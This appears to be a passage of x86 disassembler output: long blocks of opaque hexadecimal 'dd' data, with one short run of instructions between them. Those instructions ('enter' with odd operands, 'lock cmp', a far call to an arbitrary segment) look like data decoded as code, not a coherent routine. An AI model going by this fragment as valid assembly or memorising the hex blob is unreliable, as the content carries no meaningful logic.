dd 13FDA791h, 7A9BEACBh, 0A050E781h, 9A532B30h, 8B26DEFEh
dd 0E0478045h, 4AAD9D01h, 5B9BCA1Dh, 35802EDBh, 0A28D7261h
dd 0BE96F18h, 3F45321Dh, 0B581C986h, 1D3E859Bh, 611C20ABh
dd 0B2880B5Fh, 0CC54821Bh, 0E04AED49h, 0FFB75354h, 35C7BB03h
dd 0BC6A6DD0h, 0FE09A3BDh, 4264E880h, 90BCCE00h, 5A508477h
dd 12FFBA59h, 0FFA8298Dh, 7C334189h, 2AFE0282h, 1705DCC0h
dd 1CEEB195h, 0F30C7616h, 0EB07A5Fh, 5E1402BFh, 71E470E6h
dd 0B654AA62h, 38350246h, 15A5BD89h, 60129E59h, 120B68B2h
dd 8E818C3Eh, 0F1C38319h, 32202F2Fh, 5E6F3Fh, 70E8AF3h
dd 0C013852Eh, 6D13C97Ch, 0CCFB57C1h, 19259DC8h, 2DB6A2Dh
dd 90AA5C4h, 5758D850h, 0CA944A31h, 1020FBF8h, 18C82B2Fh
dd 30BD29B0h, 0D14D0C45h, 49708D89h, 0E195E980h, 64C16D42h
dd 8852D48h, 2BDB2F11h, 0A960BF0Fh, 616381F1h, 16B8FA8Ah
dd 0ED4DBD40h, 571E7716h, 61532B5Fh, 0CA3A3E5Dh, 221DC6D2h
dd 0FB5F59E9h, 0A2640300h, 0A698FAE0h, 72DD1A4h, 0B83E447Bh
dd 32D87237h, 5203FF8Dh, 3E02736Ah, 9D825F61h, 71771581h
dd 2284082Eh, 0A594FC9Eh, 73FE2620h, 0E4867520h, 0C7178C00h
dd 33C13124h, 5E4A25C8h, 32FCD76Ch, 0DE28F497h, 2032431Dh
dd 1DE3817Fh, 5B7B67EEh, 20554CA7h, 0E4403A2Dh, 957F0052h
dd 0F83CB7E0h, 0F3EA3D9Eh, 4C86AD24h, 18628412h, 5BB8A485h
dd 4BF7F6EFh, 0A63FFAh, 0BAC7CDC6h, 3C62A347h, 0F94128Dh
dd 608B918Ah, 211840Eh, 0B9615E53h, 0ACE6AAEAh, 0E1343002h
dd 2F275C0Eh, 5CC0D14Dh, 1F09CDC8h, 0C4DD2758h, 8CF890C0h
dd 0D40095A9h, 0F452C38Bh, 72D03C2h, 0B14E6724h, 0BB222034h
dd 71E21692h, 0BC4AFC5Dh, 2CED0169h, 2B01D2B0h, 0B8A06DC0h
dd 59C74005h, 9FBA2040h, 2F6A0D6h, 0A59B9510h, 0DC43CD0Bh
dd 59093392h, 0C781E282h, 300BEFC0h, 0D673D697h, 4284AD00h
dd 946ECCA5h, 101E1253h, 5594FE89h, 5BFA4781h, 82AC242Eh
dd 19D1F9A0h, 1509F893h, 4BF97A9Dh, 20AD8D61h, 74BB961h
dd 0BBC0AD8Bh, 558F7BF3h, 0C4E5549Dh, 0A273B8F9h, 2FBF2078h
dd 3B38C2C3h, 0DA5554B8h, 0B5673A97h, 0CA6D84EBh, 4D7E809Fh
dd 610043AAh, 39CB09BFh, 97E1FF7Ch, 0FD6FCD4h, 0E8610B39h
dd 26BB84C1h, 0C3B96B89h, 361A5125h, 49F10585h, 97A95FA1h
dd 26429F59h, 8E820904h, 9D5C5F4Bh, 80153051h, 0DB4643B0h
dd 9D8A054Bh, 9D23887Eh, 271BD52Ch, 82071291h, 0A06C935Bh
dd 0AF66549Ch, 0BC75B700h, 1EADBB61h, 604B258Ah, 2FC06CEDh
dd 2A19CC9h, 44B574FCh, 0AF403A73h, 56821DDDh, 0CC7325E1h
dd 25AF0378h, 0DDC2F8EAh, 0D9707DDBh, 0E114040Eh, 0B9E474EDh
dd 3C4F2EDEh, 4625964Ah, 0DF60F995h, 79659520h, 5012972Ch
dd 5FD9AF04h, 88ED53A1h, 4B76BE69h, 941778Ch, 60AA6DDDh
dd 4E9BA886h, 0B4C8DD4Fh, 0F4A20030h, 17F9C712h, 8300EB0Ah
dd 68050C95h, 25BBE9B9h, 79F06C55h, 5F072920h, 6988CA61h
dd 952670F2h, 30E5A446h, 0BEFF61DFh, 0C0C2D891h, 0FB6C76A9h
dd 0C22C0117h, 5B37D00Bh, 815D248Bh, 0A54BBF4Ah, 26229850h
dd 60A500AEh, 0A237BD94h, 3902C401h, 5B83F19Ch, 8BA38E8Ah
dd 0DCCD5758h, 54B3FD62h, 0D16064FBh, 152FA569h, 3400DBB2h
dd 73BB1FFBh, 207EEC03h, 0C9858913h, 9D2A1EB1h, 0AFE86A8Eh
dd 0D8026BFDh, 5F019AE9h, 6788BDBh, 0CDAD3DD8h, 2B4C1A84h
dd 0D265BC66h, 719F0101h, 132F15FDh, 9E98EE65h, 27630109h
dd 2EAB9EBEh, 17472021h, 0BFD68AA2h, 997DAA0h, 63CDFD78h
dd 67E60EE0h, 96D90910h, 967BA8CFh, 26181A59h, 0F6781601h
dd 89E66C73h, 0B872AD3Eh, 578524AAh, 5270C9E6h, 15820F28h
dd 2430525Fh, 3E323F68h, 55004A64h, 0ADF0FC3Dh, 8E2503B5h
dd 9D3C585Bh, 1D604DCh, 0AD67D933h, 2FA62612h, 0F5F72116h
dd 0AE91B4B0h, 2BFC5E16h, 9247FF2h, 2210F5h, 5963C168h
dd 4CD88AC0h, 3E034F81h, 663FC5A0h, 62B5D3C0h, 0DBE72B97h
dd 9093D099h, 5F0EBFE8h, 933869CFh, 25B6260Bh, 0D8BCC773h
dd 7BDA5975h, 12ED257h, 68A12591h, 32DD985h, 0A6EE8C61h
dd 9AA8B4FFh, 0E34D1312h
dd 5C8389C8h, 0F3C761F2h, 0DF282BD8h, 98569F46h, 0C0425CF4h
dd 0E233ED12h, 36A697C9h, 0FF261DA0h, 0C98ED64Bh, 0EBB83EE9h
dd 8D0120FCh, 0B6B75AD8h, 0B501D259h, 9D03002Dh, 0A55494C1h
dd 0FE10C865h, 25AD8D82h, 0D704EE08h, 0E62C9FB8h, 0D4ED31DCh
dd 6C3A2FD4h, 0B1564562h, 503273E9h, 0CB00CD02h, 88D31FE3h
dd 0B0B2BE73h, 8094258Fh, 8F4BB6CCh, 7A49B08Bh, 0D61396BCh
dd 1DE0F9A6h, 0ECD58321h, 0DA8A1DB0h, 65967ABh, 16B07FD0h
dd 0C9E744Fh, 1D648C94h, 0C9B144Ah, 0ACC01BC8h, 3CB5DAFh
dd 0B56AB4D3h, 85A78ABBh, 27A233h, 80AB6807h, 29B2216h
dd 98E17958h, 0D65C0C26h, 0A6C38061h, 4586B25Ch, 0A7012E03h
dd 2761BD0Bh, 2B80DD2Ah, 0CB81D830h, 0D2101258h, 3B96CD6Ch
dd 6E1CC26Eh, 259AE822h, 0C7CC3389h, 0D55831B3h, 792B481Ah
dd 0B107525Ah, 12707CC2h, 0C2E72969h, 0A030A64Eh, 12F6D2AFh
dd 0E1F986F5h, 6AA118BEh, 811FB7BDh, 0B3ED9D09h, 0A09A2B3Bh
dd 0D7C015C8h, 499D2326h, 0C94AE4C5h, 747930CCh, 3A853D2Fh
dd 74D175DEh, 9D300DF8h, 0FC7330E3h, 0D421965Bh, 0D9309A77h
dd 0BBC6016Fh, 37725348h, 96796050h, 0E67586F2h, 4E9A144Eh
dd 53C019C8h, 2C852A65h, 0A5A97CD7h, 2DA08966h, 568A0F59h
dd 0E9E2E984h, 705F7BDDh, 2101FA29h, 0F1FCB960h, 75386B77h
dd 16A21E27h, 2B5E50FEh, 5E78FF2Bh, 544B1F8Fh, 0CD5909C7h
dd 74286570h, 3F9F9C2Fh, 0E8870638h, 6E071309h, 91062B2Ch
dd 0C40254A3h, 431B9880h, 9225BC8h, 9B71F964h, 71BD8985h
dd 0DA4A90E8h, 0C11DC8DAh, 0CCD06E90h, 9D0BA2BBh, 89C14C38h
dd 6842DDE1h, 0D0698856h, 89949543h, 2B966F70h, 777900F4h
dd 589D8227h, 0D669715Bh, 0EA8A5469h, 0D602D650h, 0AED3A5B3h
dd 47A3FCE8h, 0A6A9A1A1h, 7BBAF431h, 0FDB7A709h, 795E82C1h
dd 0B85B041Eh, 950904DFh, 28692F6Dh, 0B54E80E1h, 1FCE6E66h
dd 52BA19A9h, 406BACA5h, 1B5E5DD8h, 22CAAC9h, 4120E986h
dd 7BA09B0Eh, 0AC01154Ah, 0B74EE9h, 0C78EA9A4h, 0B300E043h
dd 690FB0F6h, 1D399A20h, 0C2CA5015h, 0BA0185C8h, 377A3440h
dd 2E00F37Ch, 0D87C2763h, 1AA1591h, 0E044C28Bh, 30C8C07Ah
dd 0BA1CB629h, 1CC0D77Ch, 57D6AEEAh, 0BB9400AFh, 3E632A4Ah
dd 0E4004BEDh, 0FAAB0841h, 961459h, 0A3470E2Dh, 25973529h
dd 1B303Ch, 22766F2Ah, 3BDE041h, 15B3AFF4h, 0D2895DEFh
dd 0C27E058h, 0D1C6C218h, 93BC0Eh, 0B0F59A05h, 8A2B8073h
dd 0A9E08300h, 0DB92B21Dh, 40E4004Fh, 7320ED81h, 0D00F5D36h
dd 0E638EEC7h, 573068h, 0CFF3912h, 1536F393h, 37739518h
dd 220D1Dh, 163BE449h, 1C817A53h, 2FF0DD00h, 0F94D0428h
dd 7E370656h, 99EE2931h, 0D65F5C00h, 0DF2DE8C4h, 4F0F2A12h
dd 0FF103FC8h, 4E881582h, 9680D748h, 7E7C25B2h, 2ED68231h
dd 0BE100165h, 0F60052FFh, 0FE76EF08h, 0A49DA7h, 0CC89A67Fh
dd 2B5DFB67h, 76C044FCh, 713E7AD5h, 1B9800DDh, 3D51B2B8h
dd 5B003078h, 0FBBED3DAh, 0F08DCFh, 0AADD6E8Fh, 0ED563C7Ch
dd 83074E00h, 135EFFA4h, 7815008Eh, 8431F03Dh, 7300141Bh
dd 2447E83Eh, 5FC06Dh, 0FC54F839h, 0AC06D158h, 524BD207h
dd 0FFB03479h, 6EB82436h, 9148CC90h, 0F75F6098h, 2366000Ch
dd 0EB8D16F5h, 96507DA2h, 0CF003081h, 6DBEE3AEh, 0C364CBh
dd 0F1D2388Eh, 119E1A53h, 6A967060h, 3843E3CCh, 38C9C40Eh
dd 395BE00h, 6EB3F69Ch, 80218A03h, 11D47672h, 20899186h
dd 0FD9B01AAh, 49F36FB4h, 33C35051h, 361E2F18h, 0B54D7DE9h
dd 21411975h, 0C784C6h, 43D57E11h, 8A3CB8DCh, 7C178E60h
dd 70FE74Fh, 0A0222693h, 0C70802BAh, 51FACC80h, 6EF88F78h
dd 959C050Fh, 0D65287F4h, 0B2402307h, 664DD9h, 723B59BAh
dd 0E68BFC2Dh, 757EA33Bh, 4A0F2403h, 32265E5h, 0AAE3816Fh
dd 0B28BF505h, 9DB7FEE0h, 40092C1Fh, 0EEC01C5Dh, 0A10E4BE7h
dd 0C79F0388h, 57434FD0h, 0B68804BDh, 0FF894001h, 0F69859h
dd 0F4C476BBh, 33286240h, 0E5DEB70Eh, 0CE2E8CC1h, 32C230C6h
dd 5F9780D0h, 92BE0300h, 59FCA506h, 4C931E10h, 11F28067h
dd 2EF73C71h, 0CA900D60h, 4CC370D1h, 0A800C486h, 92286107h
dd 303F8B29h, 3BD91C8Ah, 80ABB601h, 0DE878223h, 0D090B31Ch
dd 3C949254h, 8BE020C1h, 49C0232Ah, 335203FDh, 0C96C357Ah
dd 379C3800h, 8DC4676Eh, 0A19D0139h, 441477B3h, 0DFF18007h
dd 0D80EB5E7h, 0CA237BAEh, 4FAE154h, 82D41538h, 7A400291h
dd 0EC003178h, 0AD591033h, 0B3B02Bh, 66C9D7AEh, 65CE5132h
dd 96B5BC00h, 0F7E34BDFh, 166CCD9Bh, 0E86C80AAh, 8A2E6B07h
dd 0B6E702A1h, 4DADDF0Bh, 372FE180h, 53EA971Ch, 0EE4511C7h
dd 0C2F52620h, 7AEB00A2h, 110A97DEh, 782A8238h, 0E20CFD20h
dd 0F464284h, 3A13063Ch, 779663ECh, 0CF7151FBh, 1280070Ah
dd 94F387Dh, 0F99B04E2h, 32DB9780h, 140320A2h, 6ECAA38Fh
dd 5F7A00C1h, 9B1851F4h, 94EF5253h, 0B3BE42h, 86EC665h
dd 327647h, 52E8C162h, 0CAF04BE9h, 4FA5B002h, 409FBCADh
dd 397B6AEh, 0A2D051DEh, 2802BAE7h, 77B207E3h, 0ED18A9Ah
dd 37F85700h, 48BC19B8h, 1A003FF3h, 9ACBB58Bh, 44C7B198h
dd 0B0300CE5h, 0CDBB326h, 123D7D8Fh, 2C00076Ah, 0D17A42D2h
dd 7B68147h, 8CC35A37h, 780E9A3h, 0CF541D3Bh, 0E7B846C5h
dd 991F4380h, 95145333h, 19B9716h, 24C26D65h, 4DD2E0BBh
dd 64DC5C28h, 44E74800h, 4BA6A00Dh, 2FA05h, 2930F16Ah
dd 5CC7430Ah, 0BBD390Ch, 0FF51F0Fh, 263C615Ah, 53D09D63h
dd 0C968DEC2h, 0CB166A3Bh, 2E266B0Ah, 32B900A7h, 0F6DFE271h
dd 700262Dh, 3457F84Eh, 1C2A307Dh, 80863FA0h, 6E03EEECh
dd 0E62D322Bh, 3C0DA419h, 733A22C0h, 66221F7Bh, 759AC050h
dd 0FF483323h, 8C115800h, 0F4397013h, 26189A2Bh, 80EC2042h
dd 752E733Eh, 141399D4h, 0CF00E78Bh, 60CD84A4h, 0D79200BFh
dd 0EC83FA4Ah, 141D8904h, 0E1055124h, 0D8E5C181h, 640E9D9h
dd 33240C87h, 5308895Ch, 0C381E3A0h, 0CEB16A9h, 0D034891Ch
dd 6D00BA52h, 814B790Fh, 3FCB3BF2h, 0D19B4DD5h, 0C4DA7A8Bh
dd 0BC681E85h, 1C779F77h, 330F94DEh, 0F7CB7A5Eh, 1C8B0851h
dd 0FE71F4Dh
db 72h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov al, ch
or al, 18h
or dword ptr [edi+eax*4], 2Ch
enter 0FFFFFF98h, 1Eh
pop ecx
lock cmp ch, cl
mov esi, 0EFB7BB4h
or eax, 235037ABh
push ebx
call far ptr 7Ch:0B836F868h
enter 6ACh, 3
; ---------------------------------------------------------------------------
dw 0FFC5h
dd 27093FE0h, 191617h, 24C072B8h, 9F310030h, 675D50E6h
dd 7A0787D1h, 60FD8D83h, 797DD3D1h, 0E7CAFCh, 59BB901Ah
dd 3998715Bh, 91004C7Eh, 89191F1Eh, 7B361CD4h, 0F44A00D2h
dd 0C66F85EFh, 7A00A053h, 56AAE922h, 1D6CB4EBh, 81C1DB09h
dd 9EE10B5Ch, 8491F04Eh, 38222900h, 411E797Ch, 51600070h
dd 0CF7A7482h, 365A6943h, 38856AEAh, 984701Ch, 230FE68h
dd 0CA360180h, 527D508Ah, 5B715FE6h, 64074F95h, 3D20AB37h
dd 9A3F4F9h, 0EED422B9h, 377500EAh, 70C90014h, 11350D0Eh
dd 0A1BD0909h, 28FDFA05h, 97F1CBDFh, 8A004C37h, 0C55C7E3Ah
dd 4B3DB8F2h, 46DDCCB8h, 45A02B07h, 88F0D50Ch, 5E4D9Eh
dd 0FA8C22C1h, 0B0BFA6B6h, 61C5EC08h, 0EBB9165Bh, 270140C8h
dd 0F642FDB5h, 8B83217Eh, 4F310FD9h, 0B700D108h, 0C08F5ED8h
dd 2622632Eh, 42D36B76h, 9DC2C15Ch, 9F5BD881h, 1B91EC35h
dd 5AF29F80h, 3F3A6E59h, 0EDC94F78h, 0C280475Eh, 9CDD2FA3h
dd 6937500h, 87BF6649h, 0E4A9809h, 4E65FFCFh, 4DDFD169h
dd 1FB260CFh, 231CE2E8h, 452DF380h, 31BC1A01h, 4801893Dh
dd 0D6305267h, 203F64D5h, 0CE8AB3CFh, 400E4D00h, 30216A68h
dd 0E45C000Fh, 9D29BDBEh, 0BB0C66CDh, 0F65B4911h, 5B6AFEBCh
dd 801CDB02h, 3A0AE4B8h, 191217FEh, 1C6A815Dh, 4C3C251Eh
dd 0E200346Bh, 61414EB7h, 1C35C6h, 0E3FF9922h, 76303233h
dd 5106564Ch, 991B3B53h, 60ACDD39h, 204B1149h, 0BAC4ECDAh
dd 0FFDE2639h, 2FD27E05h, 3BA07432h, 2DECC25Fh, 0B277A806h
dd 0B77FC1Ah, 4951F8E9h, 2DCBA8CFh, 0AD034837h, 80851D88h
dd 0BD38011h, 919D03C0h, 66608040h, 0E91AB812h, 16149148h
dd 6F6DA361h, 602081Ah, 0FB6FB350h, 64BD2325h, 0F99D12FFh
dd 0A4B5F81Dh, 0CDEFC002h, 0C2FB7E3Eh, 0C07EF88Ah, 5044D3E9h
dd 6A037516h, 1F87BBFFh, 0B561D75Fh, 54A52071h, 7300EEF1h
dd 14B8E316h, 8E91BD89h, 0A4623F5Fh, 0C4552B1Ah, 10B067AEh
dd 1613F4BDh, 0FA644AECh, 71E40607h, 2B912D10h, 0F4934EF1h
dd 0B24B37F3h, 0DEDA1066h, 0F62AA0D2h, 0C1498BF6h, 87864F15h
dd 30292054h, 1DFD74B5h, 6E5B4EE7h, 8C89F053h, 0D961D0BCh
dd 0E96AD18Bh, 0A8CA17ECh, 8703C0B6h, 0AD9B1D6Eh, 30BBEDC9h
dd 0E928D9B9h, 8B39479Eh, 908525FBh, 5B3DB5C9h, 345DE330h
dd 93520AF9h, 8A4F36F9h, 102287h, 44AD1982h, 0D7C37E2Bh
dd 38351A00h, 0AD42E34h, 5FE92A8Ah, 0CDF94F62h, 83202E87h
dd 77CCBCh, 6B5951A0h, 0D405909Ah, 0B1D6BB06h, 408A01ACh
dd 919F5B11h, 0AB153292h, 52293A3h, 1E231904h, 7E95BEA0h
dd 9F5B66E0h, 0DA00A8B2h, 9589F533h, 25F28BA4h, 5BC9E113h
dd 0E0BA2F6h, 0CD77AC42h, 5A5DC1EBh, 2199E8BAh, 7E2B0524h
dd 6319832h, 0AACE56F5h, 9648F0C9h, 0FE01EF16h, 0F6961EDAh
dd 0B219058Ch, 0B7167FB9h, 84F34BF6h, 25F1E680h, 689A3762h
dd 825E7C10h, 8501FCE1h, 0C6702D7Fh, 0DA072AF1h, 3A69DC5Ah
dd 9619F448h, 131CA82Bh, 49F22DD9h, 0A19CA693h, 8300B9Ch
dd 9D230951h, 0F221FDDh, 6EC4860Fh, 5B996049h, 490069E2h
dd 6FEC608h, 5E2D11CEh, 685FF361h, 6247E7Bh, 8D05469Dh
dd 64BE0E45h, 0B83EED50h, 0C5950072h, 1E43B6D1h, 241F5840h
dd 8601CF81h, 0BD0903C2h, 5FFFE83Bh, 0AB6BE874h, 47ADDA05h
dd 0AD99356Ch, 0B5049230h, 5B0B2FB9h, 7DF668E0h, 0F5AC9A9Fh
dd 98017637h, 0EE450A91h, 0E28F133Fh, 8589B0C9h, 0EE144FDDh
dd 8C005F6Fh, 8F8F63Fh, 0EAE3282Fh, 5BFA7360h, 0EA283FF5h
dd 6C848A25h, 0EBE25345h, 0E9E6F527h, 341D24C4h, 10E1FF06h
dd 41B2D20h, 87D226BBh, 0A297FC25h, 0BED32E8Eh, 6EBBC190h
dd 2A612748h, 91119EE5h, 82ADDB4Ah, 0C01219D1h, 756C872h
dd 92BB219Dh, 0FC74C478h, 425A1C1h, 1227A6Bh, 255EC911h
dd 8741136Eh, 60021A99h, 176110C0h, 7CA6929Fh, 9A6D2786h
dd 42BD4C7h, 0A5206BEh, 0A7BD353Bh, 14548DC9h, 0F61F75BBh
dd 4799A03Dh, 8E3400D8h, 0A4FCF17Fh, 89279529h, 0BBAEEE1Fh
dd 0CB7D70DDh, 0ED3A3302h, 0E0F87FBFh, 2E870AD7h, 4D23F41h
dd 0FF8D0F50h, 3EE6E431h, 0DB4A8F38h, 0A06382EAh, 6867C44Dh
dd 38A9CB35h, 0D2096844h, 76FE7D1Ch, 4F4A40E7h, 7FE8CBEEh
dd 0F5DB5D0Bh, 84C0D5C9h, 3AB0FF44h, 5B132D13h, 0E760B7C7h
dd 123101A1h, 0EC1B95BDh, 686BB570h, 8B65805Fh, 0EB6280F8h
dd 0EBA9952Eh, 5685B282h, 0CD00FC74h, 37595516h, 2F3A629Eh
dd 0AFE4EBE6h, 0B26E100h, 77C40754h, 43E70B88h, 405F97D9h
dd 2B32E051h, 16A5D8EFh, 8538125Fh, 222DBC5Dh, 0BDAED6E5h
dd 0E46127B7h, 0A0DE9F92h, 0DF0709DCh, 7DE4021Dh, 98C63A01h
dd 0A1A8FCD5h, 0C8099A6Fh, 51B8C214h, 5C52BE7Eh, 0A2CD4A5h
dd 9D0E3560h, 8D4F103Dh, 0FD8C02BFh, 4B1E1DCh, 0C635E98Dh
dd 0A106CA2Fh, 55200CB8h, 0D1A84F8Eh, 7B1E88ACh, 387E9DCh
dd 1830D41Ch, 82D8DFDDh, 26074B51h, 0B6FEF64Dh, 70EAD682h
dd 0E6E2176Eh, 8421A85Bh, 96FC2434h, 0C009DB93h, 50452C70h
dd 86805FEh, 0C4DF923Fh, 15EFE85h, 3B8687C7h, 4EF92Bh
dd 49A58143h, 400ADD9h, 0E702CF90h, 7C1298BDh, 0ED3F0423h
dd 8168B2h, 79E37D78h, 83C705BBh, 0AD8D6D2Dh, 8C1DA822h
dd 0A2C51F28h, 2BA79F02h, 76991A33h, 958F4085h, 0C5002CF0h
dd 0B3303502h, 249E5B5Fh, 605C90BEh, 0C8209A1Bh, 55B15112h
dd 80083008h, 0D0225D24h, 1D0B4784h, 0FB905B3Ah, 55CF70B1h
dd 49998872h, 0E5951056h, 0CAC84F2Dh, 0BDFF0013h, 7954D520h
dd 4101CF25h, 1207C290h, 3A206108h, 0E1D59615h, 0C4C9A2AFh
dd 569FD1A6h, 32E9C2CEh, 0B75A0DD4h, 0B7D185E5h, 24B930FBh
dd 0DD4CD3C2h, 0E52A2710h, 3119163Eh, 10579B5h, 17A629E9h
dd 0F59D04F0h, 0E6810019h, 27BCD9C7h, 0FFE76107h, 0ADB7245Ch
dd 0B005DED3h, 33D792A7h, 0DB0999A8h, 538401D8h, 0C438BF29h
dd 9E045A90h, 87F98FD2h, 72D2D6E7h, 5BD5960Bh, 0E77AAA61h
dd 13BFB100h, 0B9A71D62h, 4F011E40h, 0C896DB11h, 0E493C115h
dd 52356AF9h, 8BB07E30h, 2D43E23Fh, 2E5A631h, 0B08CC627h
dd 0D2D2482h, 17710847h, 9E42EE27h, 0E09CD4D4h, 2CD7961Ch
dd 0BBC0AAACh, 4FB1EE06h, 4CC8315Eh, 860F2E96h, 2C5EC2CBh
dd 1889D6E0h, 407ADE8Ah, 3641FD37h, 4922AC00h, 0E7B13378h
dd 2C693D62h, 37F5000h, 0BD019698h, 0B8A509F4h, 0F8748B25h
dd 56915BB4h, 0D3BAED12h, 0E0A760B6h, 17B91EBAh, 0B710CA62h
dd 78E6C5h, 30E2EF9Ch, 6558A746h, 5ACE4100h, 7207624Dh
dd 0A3690923h, 6B08385Ch, 9BB36097h, 5F5632CCh, 3BA24BDAh
dd 0AA569300h, 7A9895E7h, 0AF677B18h, 812DD5D8h, 6D356A5Bh
dd 27694105h, 0B9D673A9h, 18E0B88Bh, 569EAD3Bh, 0AA9C1665h
dd 76B5575Ah, 29011F17h, 0C283E179h, 11068D01h, 0CB719589h
dd 0B976253Fh, 2E3B89Dh, 216A046h, 93D4E8B7h, 5B5DCC6Ch
dd 0D6FDE20Ch, 14A8EDF9h, 2F96F900h, 0DD03B236h, 0BB8CBF08h
dd 1E4E61C8h, 41BD7D52h, 0A0A3A74Bh, 73A88A3Dh, 0E7C24ECFh
dd 406E4B37h, 9F3F2B01h, 20DF3CECh, 0FD25BA99h, 0E5C7381h
dd 3F1085B5h, 51E30261h, 5D37630Eh, 18919535h, 94953B80h
dd 28B53F90h, 0C349692Ah, 70BEA529h, 0FBF381F2h, 5296AF16h
dd 0B99380A2h, 0F01A56B2h
dd 251F3091h, 4E06A446h, 9DBB99DAh, 0CADC4770h, 406CFE46h
dd 8D8CF781h, 0FB37EB25h, 0AFB5A7DBh, 0C4481D0Bh, 0B91C033Ah
dd 0FA1377B5h, 0CB88CF93h, 0AE131265h, 0FF1654D9h, 5F2D98E9h
dd 3E68724Dh, 82686A62h, 1471D3h, 0F8DB509h, 75703AB5h
dd 5A308137h, 13FB5EE7h, 8481B531h, 0A393FCBAh, 9B375E67h
dd 7F0980D8h, 2D71ECC2h, 0ABC0CB81h, 50B0C1D8h, 0C3F60A71h
dd 6A2540Bh, 0A59D5353h, 0A40097B5h, 60EF8ADAh, 802A0D7Eh
dd 0F474CE5Fh, 0C65F2389h, 51DF694Bh, 0AE31678Bh, 80732B4Bh
dd 848D9401h, 0D0E8C0A2h, 0B7FF71F2h, 7A00FEB7h, 4E4659C2h
dd 878A0962h, 0F85E74D8h, 9D23C181h, 0A86F0E8Dh, 6AFBA4EBh
dd 0E5CC00C4h, 504EABFEh, 5EAB9757h, 4D804437h, 0A93F2569h
dd 2808B8D8h, 394D1F41h, 61035360h, 4D8D8B5Eh, 3EFDC178h
dd 9FC19CDBh, 0FC55B484h, 0FC0194D3h, 95296DF3h, 8E4832F5h
dd 0ACDB2DE7h, 217B757h, 89279CA7h, 7A14B9C1h, 37F88ABDh
dd 0EA7A711Ch, 2FB5BA79h, 0AB88C0BBh, 0BF501C82h, 48334A02h
dd 1CCDADC1h, 19C2BAC1h, 9EE72Ch, 0E837D3DCh, 0E2008CCAh
dd 0B4D94EDFh, 9F5DF728h, 0BD5FF9E2h, 0C8320277h, 22E37E73h
dd 9D33A2F8h, 0DD82295Bh, 23D3F76Ah, 1D4FD270h, 0C487CD06h
dd 0E8194710h, 0ED09250Bh, 6030E8C1h, 13681F32h, 9D207504h
dd 0E28CE53Eh, 25AD7AE8h, 0CCE6CEA9h, 0B095313Dh, 8BD18116h
dd 839497FBh, 0FB094144h, 1A3DECBh, 8DE78102h, 6A48EAEEh
dd 0F8D30BBCh, 0E1F82C63h, 1A357752h, 251DFC12h, 51FF8841h
dd 382F48E9h, 0DB41F108h, 4A551130h, 41D7A0Bh, 658D8980h
dd 18021FBh, 4A242F26h, 90CF03B8h, 1345874Ah, 7FDF8850h
dd 71C5F501h, 90B89698h, 1B9AB79h, 2FD9B7A8h, 20A01F66h
dd 521C2AE9h, 0E403BF60h, 0EA013EE5h, 618AC825h, 2FB2975Bh
dd 85F2E00Fh, 0CFF6EA4Bh, 0A270AEA4h, 25FE220Bh, 0FD37FF6Ah
dd 488F4501h, 0E4A70FF7h, 86AA9990h, 7EE03Ah, 3F6C85Fh
dd 94FC41h, 0ACD916F9h, 54BEECFh, 0B14B30B8h, 3D95B6D0h
dd 0F2C5B71Bh, 3A5D2B11h, 8FD8582h, 459DC20Eh, 0A86C5E21h
dd 168125F6h, 0B5F06CE4h, 93C1F42h, 882ABD11h, 0E38181F9h
dd 0A5A35ADDh, 9F1CF818h, 814074FCh, 2C0E31F6h, 0B246125h
dd 0CC770B91h, 29EF80D5h, 8B618209h, 7E1E2FF5h, 1012BFA4h
dd 52277EF2h, 0C82BA348h, 40C854BDh, 0A6DD73BFh, 0D18B5013h
dd 0D72F6307h, 0A3E9F961h, 79BD3441h, 0E48524C2h, 0CDEC019Ch
dd 6FC80D4Bh, 2B5B4553h, 28DC88h, 0AB744A3Eh, 0F025605Ch
dd 78D21C4Bh, 58987730h, 11D76AE9h, 70ED0AFh, 18009893h
dd 143080B5h, 16C6AD33h, 0C81B4309h, 4901C02Dh, 56BE2F6Eh
dd 0F87ACF6Fh, 325F8EA9h, 9B408BF3h, 0A62A4E55h, 972D2208h
dd 44205F32h, 3F9A28E1h, 0F059F400h, 98544E20h, 0DFCF0223h
dd 1C2D8D31h, 953E22FFh, 0BDF92404h, 51909C71h, 4BF8C740h
dd 0BC8CA96Ah, 0F3B01CAh, 412E8BB1h, 8202EC1h, 9C8CF36h
dd 8E2FBEC6h, 0CD251376h, 60186471h, 2F3554C1h, 0A582652h
dd 29B93440h, 12E00F02h, 4C55F1FAh, 9BEA98CFh, 31F11A13h
dd 0C31CF600h, 29E42Dh, 7D74C436h, 0FC1A453Eh, 249156C9h
dd 3FEEB8A5h, 18236Dh, 433CD04Ah, 0D24F2B5Ch, 5D6F40FBh
dd 6970FA1Eh, 34E42200h, 858A783Ah, 4064B477h, 0A45D1E76h
dd 90648h, 8AF9A08Fh, 12AEBB4Ch, 0F35FD6E0h, 0D780C248h
dd 0FE8481DCh, 42D880Dh, 0B47C15ECh, 0ED8F9009h, 60E97CC2h
dd 1A8D9D2Bh, 0ED9A0282h, 6983792Fh, 9D47EFEh, 0F807AE7h
dd 3931579h, 0E25B32B8h, 8C17FC6Eh, 8311E504h, 80C4513Bh
dd 845AF2FFh, 13AE0B5Fh, 0E860A9C7h, 4A580036h, 0FA750DCEh
dd 450DCE5h, 2C4AC5A1h, 0ECE512FCh, 0A1A64FD4h, 85891EF0h
dd 6A211524h, 7E8D0FE2h, 98D3AF79h, 5B81BD14h, 324CA4E7h
dd 130EF510h, 0AB1E1FFh, 2F4C282Eh, 51415C8Ah, 0D88B113Dh
dd 0F81A282Fh, 0DBEFD8D6h, 683980A7h, 12E88A7Dh, 0E9605AA7h
dd 3AD1B89Fh, 0AA026345h, 795BD8Bh, 8140355Eh, 25171FCFh
dd 3BE20833h, 328233B7h, 5E10B528h, 5F1B9131h, 920075A3h
dd 0C80AE239h, 0FDB0F53Bh, 4817547Fh, 3D493201h, 0A5625961h
dd 225C1942h, 0D44154EBh, 9ED5E209h, 129FC4B0h, 83DA8A90h
dd 0A9BCD995h, 390EB86Eh, 9D0B8B31h, 0C86A2B71h, 6A965E7Eh
dd 80AD9BEBh, 0F7A0ED95h, 0E9860165h, 7A1B1368h, 0B63376h
dd 0B2E0EAF8h, 6B771Dh, 0A4146348h, 8A51AA1Fh, 5B5FFA16h
dd 0EC041BF8h, 0A8766518h, 0BD33C1E5h, 2D2F2535h, 0C02F5A0Bh
dd 0AD636F7Ah, 434EB476h, 8C36D12h, 0EC96A498h, 0BFDEE500h
